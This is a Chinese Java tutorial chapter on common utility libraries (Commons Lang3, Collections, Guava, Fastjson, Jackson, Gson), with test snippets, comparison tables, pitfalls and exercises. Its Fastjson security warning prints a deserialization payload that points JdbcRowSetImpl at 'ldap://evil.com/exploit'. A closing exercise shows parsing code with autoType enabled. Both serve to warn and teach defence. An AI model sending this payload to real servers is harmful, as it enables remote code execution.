常用工具库

为什么需要工具库

重复造轮子是最大的浪费。判断字符串是不是空、集合是不是空、对象转JSON这些操作天天用,自己写容易出bug,直接用成熟的工具库省心又省力

主要介绍四大金刚:Apache CommonsGoogle GuavaJSON处理库

Apache Commons Lang3

最常用的Java工具库之一,弥补JDK自带工具的不足。Maven坐标:org.apache.commons:commons-lang3

StringUtils:字符串工具,告别 NullPointerException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Test
public void testStringUtils() {
// isBlank:null、""、" " 都算空(比 isEmpty 更实用)
System.out.println(StringUtils.isBlank(null)); // true
System.out.println(StringUtils.isBlank("")); // true
System.out.println(StringUtils.isBlank(" ")); // true
System.out.println(StringUtils.isBlank("hello")); // false

// isNotBlank:isBlank的反面
System.out.println(StringUtils.isNotBlank("hello")); // true

// join:拼接字符串
String[] arr = {"Java", "Python", "Go"};
System.out.println(StringUtils.join(arr, ", ")); // Java, Python, Go

// abbreviate:超长字符串截断加省略号
System.out.println(StringUtils.abbreviate("这是一段很长的文字内容", 10));
// 这是一段很长...

// defaultIfBlank:空的话给默认值
String name = null;
System.out.println(StringUtils.defaultIfBlank(name, "匿名用户")); // 匿名用户
}
方法 说明 示例
isBlank null/空串/纯空格都算空 isBlank(" ") → true
isNotBlank isBlank的反面 isNotBlank("hi") → true
isEmpty 只判断null和空串 isEmpty(" ") → false
join 用分隔符拼接数组 join(arr, ",")
abbreviate 截断+省略号 abbreviate(s, 10)
defaultIfBlank 空时给默认值
trim 去除两端空白(null安全) trim(null) → null

ObjectUtils / BooleanUtils

1
2
3
4
5
6
7
8
9
10
11
12
@Test
public void testOtherUtils() {
// ObjectUtils.defaultIfNull:对象为null时给默认值
Integer count = null;
System.out.println(ObjectUtils.defaultIfNull(count, 0)); // 0

// BooleanUtils:字符串转Boolean,比 Boolean.valueOf 更聪明
System.out.println(BooleanUtils.toBoolean("yes")); // true
System.out.println(BooleanUtils.toBoolean("on")); // true
System.out.println(BooleanUtils.toBoolean("1")); // true
System.out.println(BooleanUtils.toBoolean("no")); // false
}

Apache Commons Collections

集合工具类,Maven坐标:org.apache.commons:commons-collections4

1
2
3
4
5
6
7
8
9
10
11
12
13
@Test
public void testCollectionUtils() {
// 判断集合是否为空(null安全!)
List<String> list = null;

// ❌ 不安全,list为null会NPE
// if (list.isEmpty()) { ... }

// ✅ null和空集合都返回true
System.out.println(CollectionUtils.isEmpty(list)); // true
System.out.println(CollectionUtils.isEmpty(new ArrayList<>())); // true
System.out.println(CollectionUtils.isNotEmpty(Arrays.asList(1, 2))); // true
}

Google Guava

Google出品的Java核心库增强。Maven坐标:com.google.guava:guava

集合工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Test
public void testGuavaCollections() {
// 快速创建集合(比 new ArrayList<>() 再 add 方便)
List<String> list = Lists.newArrayList("Java", "Go", "Rust");
Map<String, Integer> map = Maps.newHashMap();

// 不可变集合(创建后不能修改,线程安全)
ImmutableList<String> immutableList = ImmutableList.of("a", "b", "c");
// immutableList.add("d"); // ❌ 运行时抛 UnsupportedOperationException

ImmutableMap<String, Integer> immutableMap = ImmutableMap.of(
"Java", 1, "Go", 2, "Rust", 3
);
}

字符串处理:Joiner 和 Splitter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Test
public void testGuavaString() {
// Joiner:拼接(可以跳过null)
String result = Joiner.on(", ")
.skipNulls()
.join("Java", null, "Go", "Rust");
System.out.println(result); // Java, Go, Rust

// Splitter:分割(比String.split更强大)
List<String> parts = Splitter.on(",")
.trimResults() // 去除每个元素的空白
.omitEmptyStrings() // 跳过空字符串
.splitToList("Java , , Go , Rust ");
System.out.println(parts); // [Java, Go, Rust]
}

Preconditions:参数校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testPreconditions() {
// 在方法开头校验参数,不合法直接抛异常
int age = -1;
try {
Preconditions.checkArgument(age > 0, "年龄必须大于0,实际值: %s", age);
} catch (IllegalArgumentException e) {
System.out.println(e.getMessage()); // 年龄必须大于0,实际值: -1
}

Object obj = null;
try {
Preconditions.checkNotNull(obj, "对象不能为null");
} catch (NullPointerException e) {
System.out.println(e.getMessage()); // 对象不能为null
}
}

LoadingCache:本地缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testGuavaCache() throws Exception {
// 创建一个本地缓存:最多100条,写入5秒后过期
LoadingCache<String, String> cache = CacheBuilder.newBuilder()
.maximumSize(100)
.expireAfterWrite(5, TimeUnit.SECONDS)
.build(new CacheLoader<String, String>() {
@Override
public String load(String key) {
System.out.println("缓存未命中,从数据库加载: " + key);
return "value_of_" + key; // 模拟从数据库查
}
});

System.out.println(cache.get("user_1")); // 缓存未命中,从数据库加载
System.out.println(cache.get("user_1")); // 直接从缓存返回,不输出"未命中"
}

JSON处理

Java对象和JSON字符串互相转换是日常开发中最常见的操作之一。三大主流库对比

Fastjson(阿里出品)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Test
public void testFastjson() {
// 对象 → JSON字符串
Map<String, Object> user = new HashMap<>();
user.put("name", "张三");
user.put("age", 25);
String json = JSON.toJSONString(user);
System.out.println(json); // {"name":"张三","age":25}

// JSON字符串 → 对象
String jsonStr = "{\"name\":\"李四\",\"age\":30}";
JSONObject obj = JSON.parseObject(jsonStr);
System.out.println(obj.getString("name")); // 李四
}

严重安全警告:Fastjson反序列化漏洞

Fastjson的 autoType 功能允许JSON中指定Java类型,攻击者可以构造恶意JSON让服务器执行任意代码

1
2
// ⚠️ 恶意JSON:通过 @type 指定危险类
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/exploit","autoCommit":true}

漏洞频繁出现,几乎每个版本都在修,所以很多公司已经禁止使用Fastjson

防御:升级到最新版、关闭 autoType、或者直接换成 Jackson

Jackson(Spring Boot默认)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Test
public void testJackson() throws Exception {
ObjectMapper mapper = new ObjectMapper();

// 对象 → JSON字符串
Map<String, Object> user = new HashMap<>();
user.put("name", "张三");
user.put("age", 25);
String json = mapper.writeValueAsString(user);
System.out.println(json);

// JSON字符串 → 对象
String jsonStr = "{\"name\":\"李四\",\"age\":30}";
Map<String, Object> result = mapper.readValue(jsonStr, Map.class);
System.out.println(result.get("name"));

// 常用配置
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); // 忽略未知字段
mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); // null不序列化
}

Gson(Google出品)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Test
public void testGson() {
Gson gson = new Gson();

// 对象 → JSON字符串
Map<String, Object> user = new HashMap<>();
user.put("name", "张三");
user.put("age", 25);
String json = gson.toJson(user);
System.out.println(json);

// JSON字符串 → 对象
String jsonStr = "{\"name\":\"李四\",\"age\":30}";
Map result = gson.fromJson(jsonStr, Map.class);
System.out.println(result.get("name"));
}

三者对比

对比项 Fastjson Jackson Gson
出品方 Alibaba FasterXML Google
性能 一般
功能 丰富 最丰富 够用
Spring Boot 需额外引入 默认集成 需额外引入
⭐ 安全性 差(频繁漏洞)
API易用性 最简洁 中等 简洁
推荐度 ⚠️ 谨慎使用 ⭐⭐⭐ 首选 ⭐⭐ 备选

常见坑

坑1StringUtils.isEmptyStringUtils.isBlank 搞混——isEmpty 不把纯空格算空,isBlank 才算

坑2:Guava的 ImmutableList.of() 创建的集合不能修改,往里 add 会抛异常

坑3:Fastjson和Jackson对日期格式的默认处理不一样,经常出现日期格式不对的问题

坑4:Jackson反序列化时遇到未知字段默认报错,要配置 FAIL_ON_UNKNOWN_PROPERTIES = false

坑5:Gson把整数默认解析成 double{"age": 25} 会变成 age=25.0

练习题

题1:用StringUtils和CollectionUtils重写以下代码,消除所有null检查

1
2
if (name != null && !name.trim().isEmpty()) { ... }
if (list != null && !list.isEmpty()) { ... }

题2:分别用Jackson和Gson实现:将一个Java对象转成JSON字符串,再转回来。对比API差异

题3(⭐ 安全题):解释为什么以下Fastjson代码是危险的,攻击者可以做什么?

1
2
3
// 接收前端传来的JSON并解析
String userJson = request.getBody();
Object obj = JSON.parse(userJson); // ⚠️ 开启了autoType

上一章 目录 下一章
日志 java基础 代码安全基础